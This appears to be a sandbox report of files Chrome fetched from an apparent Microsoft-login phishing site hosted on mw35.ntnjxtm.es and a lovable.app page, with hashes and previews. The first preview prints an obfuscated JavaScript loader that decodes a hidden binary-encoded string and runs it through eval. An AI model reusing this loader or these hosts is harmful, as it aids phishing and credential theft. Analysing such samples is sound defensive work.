                                                                                            Preview:function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):128
                                                                                            Entropy (8bit):4.750616928608237
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D90F02F133E7B82AF89B3E58526AC459
                                                                                            SHA1:F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
                                                                                            SHA-256:FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
                                                                                            SHA-512:83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCTjoTjS-Y7l2EgUNX1f-DRIFDRObJGMhOdArDYdhpoASSgn7HZDvQ0sDlRIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0IXwHFiMJh67N?alt=proto
                                                                                            Preview:ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (62398)
                                                                                            Category:downloaded
                                                                                            Size (bytes):62399
                                                                                            Entropy (8bit):5.069471016597629
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:CE4AD827F02071200EB0E2DCF2379B10
                                                                                            SHA1:A3D1B76DF30DE5824729F02D474D3D7234AF7B0A
                                                                                            SHA-256:B83C2515CEF2EB4D6B88443C8CD134DE57407CAB9C360072E92BAF22936660CA
                                                                                            SHA-512:B5F16142E895D0D228FB813C7595144B7729C4C1F6DA85B28F33018C21D9D069D9C437D7A7319ABA6BD72C277296C27692E600319A2D34B393C26BAB0EB1990E
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://clever-link-safeguard.lovable.app/assets/index-WhSeoKW2.css
                                                                                            Preview:@import"https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap";*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:Inter,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;positi
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
                                                                                            Category:downloaded
                                                                                            Size (bytes):17174
                                                                                            Entropy (8bit):2.9129715116732746
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:12E3DAC858061D088023B2BD48E2FA96
                                                                                            SHA1:E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
                                                                                            SHA-256:90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
                                                                                            SHA-512:C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
                                                                                            Preview:..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):16
                                                                                            Entropy (8bit):3.625
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:48DFA05375E7CF406F587B8C117B0655
                                                                                            SHA1:531401231316A87C49E4A09F93071BD1374DEB3A
                                                                                            SHA-256:EA4C44D08350A1B340BBAAAFAC3F3590BAED50B089605FC4FE8422F4E7317A43
                                                                                            SHA-512:53A305F18D4D817F715A9E75F6BF554815B536E19288AC0122E3E21C1DEC5009F746BC0A5266E7D050DD2C14F2F0A9FE4AD8D93BAEEC7B200BBEF1B37EF6A02F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCZevyxHjO20wEgUNgZDxfCHuw6S8OQGxig==?alt=proto
                                                                                            Preview:CgkKBw2BkPF8GgA=
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
                                                                                            Category:downloaded
                                                                                            Size (bytes):28000
                                                                                            Entropy (8bit):7.99335735457429
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:A4BCA6C95FED0D0C5CC46CF07710DCEC
                                                                                            SHA1:73B56E33B82B42921DB8702A33EFD0F2B2EC9794
                                                                                            SHA-256:5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
                                                                                            SHA-512:60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/GDSherpa-bold.woff2
                                                                                            Preview:wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,...*...e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...*y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..|.`...5:.Yd@]..j..$...v.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
                                                                                            Category:dropped
                                                                                            Size (bytes):937
                                                                                            Entropy (8bit):7.737931820487441
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:FC3B7BBE7970F47579127561139060E2
                                                                                            SHA1:3F7C5783FE1F4404CB16304A5A274778EA3ABD25
                                                                                            SHA-256:85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
                                                                                            SHA-512:49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..|...{.(...y....`.|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
                                                                                            Category:dropped
                                                                                            Size (bytes):10796
                                                                                            Entropy (8bit):7.946024875001343
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:12BDACC832185D0367ECC23FD24C86CE
                                                                                            SHA1:4422F316EB4D8C8D160312BB695FD1D944CBFF12
                                                                                            SHA-256:877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
                                                                                            SHA-512:36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.....*..dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...*ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (65447)
                                                                                            Category:downloaded
                                                                                            Size (bytes):89501
                                                                                            Entropy (8bit):5.289893677458563
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                                                                            SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                                                                            SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                                                                            SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://code.jquery.com/jquery-3.6.0.min.js
                                                                                            Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (19948), with no line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):19948
                                                                                            Entropy (8bit):5.261902742187293
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:EC18AF6D41F6F278B6AED3BDABFFA7BC
                                                                                            SHA1:62C9E2CAB76B888829F3C5335E91C320B22329AE
                                                                                            SHA-256:8A18D13015336BC184819A5A768447462202EF3105EC511BF42ED8304A7ED94F
                                                                                            SHA-512:669B0E9A545057ACBDD3B4C8D1D2811EAF4C776F679DA1083E591FF38AE7684467ABACEF5AF3D4AABD9FB7C335692DBCA0DEF63DDAC2CD28D8E14E95680C3511
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015
                                                                                            Preview:!function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n||0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]]].join("")}},944:function(e){"use strict";var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var n=new Uint8Array(16);e.exports=function(){return t(n),n}}else{var r=new Array(16);e.exports=function(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),r[t]=e>>>((3&t)<<3)&255;return r}}},508:function(e,t,n){"use strict";var r=n(944),i=n(343);e.exports=function(e,t,n){var o=t&&n||0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var a=(e=e||{}).random||(e.rng||r)();if(
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format, TrueType, length 35970, version 1.0
                                                                                            Category:downloaded
                                                                                            Size (bytes):35970
                                                                                            Entropy (8bit):7.989503040923577
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:496B7BBDE91C7DC7CF9BBABBB3921DA8
                                                                                            SHA1:2BD3C406A715AB52DAD84C803C55BF4A6E66A924
                                                                                            SHA-256:AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
                                                                                            SHA-512:E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/GDSherpa-bold.woff
                                                                                            Preview:wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."*".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..*Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
                                                                                            Category:downloaded
                                                                                            Size (bytes):20410
                                                                                            Entropy (8bit):7.980582012022051
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:3BA4D76A17ADD0A6C34EE696F28C8541
                                                                                            SHA1:5E8A4B8334539A7EAB798A7799F6E232016CB263
                                                                                            SHA-256:17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
                                                                                            SHA-512:8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
                                                                                            Preview:...........}k..6..w...R..J.H=GSI..x.9...}T*.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.|.#x......Ag*O.|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P....*.r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u*.F..Oh.lNI..j..T..u...I..._........{.\...{..._|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:RIFF (little-endian) data, Web/P image
                                                                                            Category:downloaded
                                                                                            Size (bytes):25216
                                                                                            Entropy (8bit):7.947339442168474
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:F9A795E2270664A7A169C73B6D84A575
                                                                                            SHA1:0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
                                                                                            SHA-256:D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
                                                                                            SHA-512:E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/ij4vumqyzIhPR8OaBYruvXmpBJpCdmnsDh1JejpCAezqCSWQx12210
                                                                                            Preview:RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>|....^..*2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.*3|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format, TrueType, length 36696, version 1.0
                                                                                            Category:downloaded
                                                                                            Size (bytes):36696
                                                                                            Entropy (8bit):7.988666025644622
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:A69E9AB8AFDD7486EC0749C551051FF2
                                                                                            SHA1:C34E6AA327B536FB48D1FE03577A47C7EE2231B8
                                                                                            SHA-256:FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
                                                                                            SHA-512:9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/GDSherpa-regular.woff
                                                                                            Preview:wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... g*M..h.....Q!}B...Q.m.M...R.5*.JUi*..U_5@]..PW...*5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.*V..j.Z...j..BJ.._Pw..0..f*...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e|......B>....1.a,.D.Ej..(.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:HTML document, ASCII text, with very long lines (52005), with CRLF line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):148924
                                                                                            Entropy (8bit):5.728078624325441
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:4DA46FAD785A317A369364BCD283126F
                                                                                            SHA1:3CDD1EE62E44F17F93DC0CEADB06A859278F0C6A
                                                                                            SHA-256:EAFDCFDAFF5C13B27134D755979B45DB353852349D08127B355D5E4C48656B4D
                                                                                            SHA-512:57DF0CFD0FDC27A22188B9A74EDB3587C153677D604787C1F8BEC38D3112C6875960FDE519381F7D1543BE9466D28D2527E12DB1842B11808370B279EBE8DE86
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKF
                                                                                            Preview:<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>&#8203;</title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:RIFF (little-endian) data, Web/P image
                                                                                            Category:dropped
                                                                                            Size (bytes):892
                                                                                            Entropy (8bit):5.863167355052868
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:41D62CA205D54A78E4298367482B4E2B
                                                                                            SHA1:839AAE21ED8ECFC238FDC68B93CCB27431CD5393
                                                                                            SHA-256:20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
                                                                                            SHA-512:82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^*1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx*.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (7352)
                                                                                            Category:downloaded
                                                                                            Size (bytes):21098
                                                                                            Entropy (8bit):5.4775287538390005
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:FC71B04954CAE3E2A38887BC717D8B65
                                                                                            SHA1:20E2F93218FB7B2D6E003674A58649435506B1D1
                                                                                            SHA-256:756ACCE546AFBD2CBF4AE66206C44D64767B3334C5728C1BDB3E2E6723BCC583
                                                                                            SHA-512:CF8AC3B072B9AF760A1F1A5CB8DEA47C1C99375CD4AEFF406BA1D396D802BB5062FEF57C15BC27E97E1D9A4E06D2F2F05302A878D7D951AE74833911BB08AD9A
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://cdn.gpteng.co/gptengineer.js
